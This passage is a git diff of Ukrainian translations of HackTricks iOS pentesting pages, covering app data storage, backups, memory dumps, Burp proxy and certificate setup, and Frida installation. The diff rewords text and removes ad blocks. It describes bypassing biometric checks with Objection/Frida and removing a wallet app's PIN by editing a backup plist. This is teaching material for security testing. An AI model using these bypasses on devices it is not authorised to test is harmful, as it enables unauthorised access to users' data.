CoreData за замовчуванням не шифрує свої дані. Однак, додатковий шар шифрування може бути доданий до CoreData. Дивіться [GitHub Repo](https://github.com/project-imas/encrypted-core-data) для отримання додаткової інформації.
Ви можете знайти інформацію про SQLite Core Data додатку за шляхом `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
@ -449,7 +438,7 @@ NSLog(@"data stored in core data");
### Інші бази даних SQLite
Звичайно, що програми створюють свої власні бази даних sqlite. Вони можуть **зберігати** **чутливі** **дані** на них і залишати їх незашифрованими. Тому завжди цікаво перевіряти кожну базу даних у каталозі додатків. Тому перейдіть до каталогу програми, де зберігаються дані (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Звичайно, що додатки створюють свої власні бази даних sqlite. Вони можуть **зберігати** **чутливі** **дані** на них і залишати їх незашифрованими. Тому завжди цікаво перевіряти кожну базу даних у каталозі додатків. Тому перейдіть до каталогу додатка, де зберігаються дані (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -490,7 +479,7 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) описується як **легкий** та **вбудований** механізм бази даних, який слідує **документно-орієнтованому** (NoSQL) підходу. Розроблений для **iOS** та **macOS**, він пропонує можливість безперервної синхронізації даних.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) описується як **легкий** та **вбудований** движок бази даних, який слідує **документно-орієнтованому** (NoSQL) підходу. Розроблений для **iOS** та **macOS**, він пропонує можливість безперервної синхронізації даних.
Щоб виявити потенційні бази даних Couchbase на пристрої, слід перевірити наступний каталог:
```bash
@ -501,7 +490,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS зберігає куки додатків у **`Library/Cookies/cookies.binarycookies`** всередині папки кожного додатку. Однак, розробники іноді вирішують зберігати їх у **keychain**, оскільки згаданий **файл куків може бути доступний у резервних копіях**.
Щоб перевірити файл куків, ви можете використовувати [**цей python скрипт**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) або використовувати **`ios cookies get`** з objection.\
**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON і перевірити дані.
**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON та перевірити дані.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
@ -519,7 +508,7 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin
```
### Cache
За замовчуванням NSURLSession зберігає дані, такі як **HTTP запити та відповіді в базі даних Cache.db**. Ця база даних може містити **чутливі дані**, якщо токени, імена користувачів або будь-яка інша чутлива інформація була кешована. Щоб знайти кешовану інформацію, відкрийте каталог даних програми (`/var/mobile/Containers/Data/Application/<UUID>`) і перейдіть до `/Library/Caches/<Bundle Identifier>`. **WebKit кеш також зберігається у файлі Cache.db**. **Objection** може відкрити та взаємодіяти з базою даних за допомогою команди `sqlite connect Cache.db`, оскільки це **нормальна SQLite база даних**.
За замовчуванням NSURLSession зберігає дані, такі як **HTTP запити та відповіді в базі даних Cache.db**. Ця база даних може містити **чутливі дані**, якщо токени, імена користувачів або будь-яка інша чутлива інформація була кешована. Щоб знайти кешовану інформацію, відкрийте каталог даних програми (`/var/mobile/Containers/Data/Application/<UUID>`) і перейдіть до `/Library/Caches/<Bundle Identifier>`. **Кеш WebKit також зберігається у файлі Cache.db**. **Objection** може відкрити та взаємодіяти з базою даних за допомогою команди `sqlite connect Cache.db`, оскільки це **нормальна SQLite база даних**.
Рекомендується **відключити кешування цих даних**, оскільки вони можуть містити чутливу інформацію в запиті або відповіді. Нижче наведено різні способи досягнення цього:
@ -533,7 +522,7 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin
[Документація Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Об'єкт конфігурації сесії ephemeral подібний до конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.`
`Об'єкт конфігурації сесії ephemeral подібний до об'єкта конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.`
3. Кеш також можна відключити, встановивши політику кешування на [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Це відключить зберігання кешу будь-яким чином, як в пам'яті, так і на диску.
@ -600,7 +589,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
**Рекомендації з безпеки:**
- Рекомендується вимкнути сторонні клавіатури для підвищення безпеки.
- Будьте обережні з функціями автокорекції та авто-пропозицій стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
- Будьте обережні з функціями автокорекції та автопідказок стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
- Перехоплення мережевого трафіку може виявити, чи передає користувацька клавіатура натискання клавіш віддалено.
### **Запобігання кешуванню текстових полів**
@ -623,7 +612,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
Щоб зменшити ризики, рекомендується **ретельно взаємодіяти з додатком**, досліджуючи всі його функціональні можливості та введення, щоб переконатися, що жодна чутлива інформація не записується ненавмисно.
При перегляді вихідного коду додатка на предмет потенційних витоків, шукайте як **попередньо визначені**, так і **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
При перегляді вихідного коду додатка на предмет потенційних витоків, звертайте увагу як на **попередньо визначені**, так і на **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
### **Моніторинг системних логів**
@ -647,23 +636,13 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Слід за командами для спостереження за активністю журналів, що може бути безцінним для діагностики проблем або виявлення потенційного витоку даних у журналах.
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Резервні копії
**Функції автоматичного резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina і далі) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як дані Apple Pay та налаштування Touch ID.
**Автоматичні функції резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina і далі) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як дані Apple Pay та налаштування Touch ID.
### Ризики безпеки
Включення **встановлених додатків та їх даних** у резервні копії піднімає питання потенційного **витоку даних** та ризик того, що **модифікації резервних копій можуть змінити функціональність додатка**. Рекомендується **не зберігати чутливу інформацію у відкритому вигляді** в будь-якому каталозі додатка або його підкаталогах, щоб зменшити ці ризики.
Включення **встановлених додатків та їх даних** у резервні копії піднімає питання потенційного **витоку даних** та ризик того, що **модифікації резервних копій можуть змінити функціональність додатків**. Рекомендується **не зберігати чутливу інформацію у відкритому вигляді** в будь-якому каталозі додатка або його підкаталогах, щоб зменшити ці ризики.
### Виключення файлів з резервних копій
@ -686,21 +665,21 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати налаштувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
### Модифікація поведінки додатка
Приклад зміни поведінки додатка через модифікацію резервних копій продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування інтерфейсу зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
Приклад зміни поведінки додатка через модифікації резервної копії продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
## Резюме щодо тестування пам'яті для чутливих даних
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампа пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампа або аналізу.
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампу пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампу або аналізу.
## **Отримання та аналіз дампа пам'яті**
## **Отримання та аналіз дампу пам'яті**
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють створювати дамп пам'яті процесу додатка. Після створення дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють створювати дамп пам'яті процесу додатка. Після дампу аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
Щоб витягти рядки з дампу пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
```bash
# Extracting strings using strings command
$ strings memory > strings.txt
@ -708,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Для більш детального аналізу, включаючи пошук специфічних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку:
Для більш детального аналізу, включаючи пошук конкретних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -745,9 +724,9 @@ ios monitor crypt
**Локальна аутентифікація** відіграє важливу роль, особливо коли йдеться про захист доступу до віддаленого кінцевого пункту за допомогою криптографічних методів. Суть полягає в тому, що без належної реалізації механізми локальної аутентифікації можуть бути обійдені.
Фреймворк [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) від Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів та безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію за відбитком пальця для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
Фреймворк [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) від Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів і безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію за відбитком пальця для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
Для інтеграції Touch ID/Face ID розробники мають два варіанти API:
Щоб інтегрувати Touch ID/Face ID, розробники мають два варіанти API:
- **`LocalAuthentication.framework`** для високорівневої аутентифікації користувачів без доступу до біометричних даних.
- **`Security.framework`** для доступу до сервісів keychain нижчого рівня, що забезпечує захист секретних даних за допомогою біометричної аутентифікації. Різні [open-source обгортки](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) спрощують доступ до keychain.
@ -759,16 +738,16 @@ ios monitor crypt
Щоб запитати користувачів про аутентифікацію, розробники повинні використовувати метод **`evaluatePolicy`** у класі **`LAContext`**, вибираючи між:
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не активовано.
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не увімкнено.
- **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID.
Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
Успішна аутентифікація вказується булевим значенням, що повертається з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
### Локальна аутентифікація за допомогою Keychain
Реалізація **локальної аутентифікації** в iOS-додатках передбачає використання **keychain API** для безпечного зберігання секретних даних, таких як токени аутентифікації. Цей процес забезпечує доступ до даних лише для користувача, використовуючи їх код доступу до пристрою або біометричну аутентифікацію, таку як Touch ID.
Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач не пройде успішну аутентифікацію через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки.
Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач успішно не аутентифікується через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки.
Нижче наведені приклади коду на Swift та Objective-C, які демонструють, як зберігати та отримувати рядок з keychain, використовуючи ці функції безпеки. Приклади конкретно показують, як налаштувати контроль доступу, щоб вимагати аутентифікацію Touch ID та забезпечити доступ до даних лише на пристрої, на якому вони були налаштовані, за умови, що код доступу до пристрою налаштовано.
@ -901,7 +880,7 @@ NSLog(@"Something went wrong");
```bash
$ otool -L <AppName>.app/<AppName>
```
Якщо в додатку використовується `LocalAuthentication.framework`, вихід міститиме обидві наступні рядки (пам'ятайте, що `LocalAuthentication.framework` використовує `Security.framework` під капотом):
Якщо в додатку використовується `LocalAuthentication.framework`, вивід міститиме обидві наступні рядки (пам'ятайте, що `LocalAuthentication.framework` використовує `Security.framework` під капотом):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -912,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
Через **Objection Biometrics Bypass**, розташований на [цій сторінці GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, що забезпечує постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації.
Через **Objection Biometrics Bypass**, розташований на [цій сторінці GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, забезпечуючи постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації.
Для активації цього обходу використовується наступна команда:
```bash
@ -923,7 +902,7 @@ $ otool -L <AppName>.app/<AppName>
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
Ця команда запускає послідовність, де Objection реєструє завдання, яке ефективно змінює результат перевірки `evaluatePolicy` на `True`.
Ця команда запускає послідовність, в якій Objection реєструє завдання, що ефективно змінює результат перевірки `evaluatePolicy` на `True`.
#### Frida
@ -1039,7 +1018,7 @@ burp-configuration-for-ios.md
### Перевірка імені хоста
Однією з поширених проблем при перевірці TLS сертифіката є перевірка, що сертифікат був підписаний **достовірним** **ЦС**, але **не перевіряти**, чи **ім'я хоста** сертифіката є ім'ям хоста, до якого звертаються.\
Щоб перевірити цю проблему за допомогою Burp, після довірення CA Burp на iPhone, ви можете **створити новий сертифікат з Burp для іншого імені хоста** і використовувати його. Якщо додаток все ще працює, то щось вразливе.
Щоб перевірити цю проблему за допомогою Burp, після довірення Burp CA на iPhone, ви можете **створити новий сертифікат з Burp для іншого імені хоста** і використовувати його. Якщо додаток все ще працює, то щось вразливе.
### Прив'язка сертифіката
@ -1067,9 +1046,9 @@ burp-configuration-for-ios.md
### Сторонні програми
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми з конфіденційністю, або зовсім відмовитися від його переваг. Часто розробники не можуть самостійно виправити вразливості в цих SDK. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми конфіденційності, або зовсім відмовитися від його переваг. Часто розробники не можуть виправити вразливості в цих SDK самостійно. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не повністю усвідомлювати код, що виконується цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не бути повністю обізнані про код, що виконується цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
Впровадження сторонніх послуг зазвичай відбувається у двох формах: окрема бібліотека або повний SDK. Щоб захистити конфіденційність користувача, будь-які дані, що передаються цим службам, повинні бути **анонімізовані**, щоб запобігти розкриттю особистої ідентифікаційної інформації (PII).
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

36
src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
View File

@ -2,35 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Встановлення сертифіката Burp на пристроях iOS
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Встановлення сертифіката Burp на пристрої iOS
Для аналізу безпечного веб-трафіку та SSL pinning на пристроях iOS можна використовувати Burp Suite через **Burp Mobile Assistant** або за допомогою ручної конфігурації. Нижче наведено узагальнений посібник з обох методів:
Для безпечного аналізу веб-трафіку та SSL pinning на пристроях iOS, Burp Suite можна використовувати або через **Burp Mobile Assistant**, або через ручну конфігурацію. Нижче наведено узагальнений посібник обох методів:
### Автоматичне встановлення за допомогою Burp Mobile Assistant
**Burp Mobile Assistant** спрощує процес встановлення сертифіката Burp, конфігурації проксі та SSL Pinning. Детальні вказівки можна знайти в [офіційній документації PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
**Burp Mobile Assistant** спрощує процес встановлення сертифіката Burp, конфігурації проксі та SSL Pinning. Детальні інструкції можна знайти в [офіційній документації PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
### Кроки ручного встановлення
1. **Конфігурація проксі:** Почніть з налаштування Burp як проксі в налаштуваннях Wi-Fi iPhone.
2. **Завантаження сертифіката:** Перейдіть на `http://burp` у браузері вашого пристрою, щоб завантажити сертифікат.
3. **Встановлення сертифіката:** Встановіть завантажений профіль через **Налаштування** > **Основні** > **VPN та управління пристроєм**, потім увімкніть довіру для CA PortSwigger у **Налаштуваннях довіри сертифікатів**.
3. **Встановлення сертифіката:** Встановіть завантажений профіль через **Налаштування** > **Основні** > **VPN та управління пристроєм**, потім увімкніть довіру для PortSwigger CA в **Налаштуваннях довіри сертифікатів**.
### Налаштування проксі для перехоплення
Налаштування дозволяє аналізувати трафік між пристроєм iOS та інтернетом через Burp, вимагаючи Wi-Fi мережу, яка підтримує трафік між клієнтами. Якщо це неможливо, USB-з'єднання через usbmuxd може слугувати альтернативою. Туториали PortSwigger надають детальні інструкції щодо [конфігурації пристрою](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) та [встановлення сертифіката](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
Налаштування дозволяє аналізувати трафік між пристроєм iOS та інтернетом через Burp, вимагаючи Wi-Fi мережу, яка підтримує клієнтський трафік. Якщо це неможливо, USB-з'єднання через usbmuxd може слугувати альтернативою. Тут ви знайдете детальні інструкції щодо [конфігурації пристрою](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) та [встановлення сертифіката](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
### Розширена конфігурація для джейлбрейкнутіх пристроїв
Для користувачів з джейлбрейкнутими пристроями SSH через USB (за допомогою **iproxy**) пропонує метод для маршрутизації трафіку безпосередньо через Burp:
Для користувачів з джейлбрейкнутими пристроями, SSH через USB (за допомогою **iproxy**) пропонує метод маршрутизації трафіку безпосередньо через Burp:
1. **Встановлення SSH-з'єднання:** Використовуйте iproxy для перенаправлення SSH на localhost, що дозволяє з'єднання з пристроєм iOS до комп'ютера, на якому працює Burp.
@ -48,7 +40,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Повний моніторинг/перехоплення мережі
Моніторинг не-HTTP трафіку пристроїв можна ефективно проводити за допомогою **Wireshark**, інструменту, здатного захоплювати всі форми даних трафіку. Для пристроїв iOS моніторинг трафіку в реальному часі здійснюється через створення віддаленого віртуального інтерфейсу, процес якого детально описано в [цьому пості на Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Перед початком необхідно встановити **Wireshark** на систему macOS.
Моніторинг не-HTTP трафіку пристроїв можна ефективно проводити за допомогою **Wireshark**, інструменту, здатного захоплювати всі форми даних. Для пристроїв iOS моніторинг трафіку в реальному часі здійснюється через створення віддаленого віртуального інтерфейсу, процес якого детально описано в [цьому пості на Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Перед початком необхідно встановити **Wireshark** на систему macOS.
Процедура включає кілька ключових кроків:
@ -59,7 +51,7 @@ $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. Після ідентифікації UDID, **Wireshark** потрібно відкрити та вибрати інтерфейс "rvi0" для захоплення даних.
4. Для цілеспрямованого моніторингу, наприклад, захоплення HTTP-трафіку, пов'язаного з конкретною IP-адресою, можна використовувати фільтри захоплення Wireshark:
4. Для цілеспрямованого моніторингу, наприклад, захоплення HTTP-трафіку, пов'язаного з певною IP-адресою, можна використовувати фільтри захоплення Wireshark:
## Встановлення сертифіката Burp в емуляторі
@ -70,8 +62,8 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
![](<../../images/image (534).png>)
- **Перетягніть і скиньте** сертифікат всередину емулятора
- **Всередині емулятора** перейдіть до _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, і **перевірте сертифікат**
- **Всередині емулятора** перейдіть до _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, і **увімкніть PortSwigger CA**
- **Внутрішньо в емуляторі** перейдіть до _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, і **перевірте сертифікат**
- **Внутрішньо в емуляторі** перейдіть до _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, і **увімкніть PortSwigger CA**
![](<../../images/image (1048).png>)
@ -90,13 +82,7 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
![](<../../images/image (431).png>)
- Натисніть на _**Ok**_ і потім на _**Apply**_
- Натисніть на _**Ok**_ і потім на _**Apply**_
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

28
src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md
View File

@ -2,11 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Mobile Security** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
## Installing Frida
@ -18,14 +13,14 @@
4. Перейдіть до новододаного джерела Frida.
5. Встановіть пакет Frida.
Якщо ви використовуєте **Corellium**, вам потрібно завантажити випуск Frida з [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) і розпакувати та скопіювати в місце розташування dylib, яке вимагає Frida, наприклад: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Якщо ви використовуєте **Corellium**, вам потрібно завантажити реліз Frida з [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) і розпакувати та скопіювати до місця розташування dylib, яке вимагає Frida, наприклад: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Після встановлення ви можете використовувати на своєму ПК команду **`frida-ls-devices`** і перевірити, що пристрій з'являється (ваш ПК повинен мати доступ до нього).\
Виконайте також **`frida-ps -Uia`**, щоб перевірити запущені процеси телефону.
## Frida without Jailbroken device & without patching the app
## Frida без Jailbroken пристрою та без патчування додатку
Перегляньте цей блог про те, як використовувати Frida на пристроях без Jailbreak без патчування додатка: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Перегляньте цей блог-пост про те, як використовувати Frida на непатчевих пристроях без патчування додатку: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida Client Installation
@ -295,17 +290,17 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
# You can find code coverage and crashes in examples/wg-log/out/
```
> [!CAUTION]
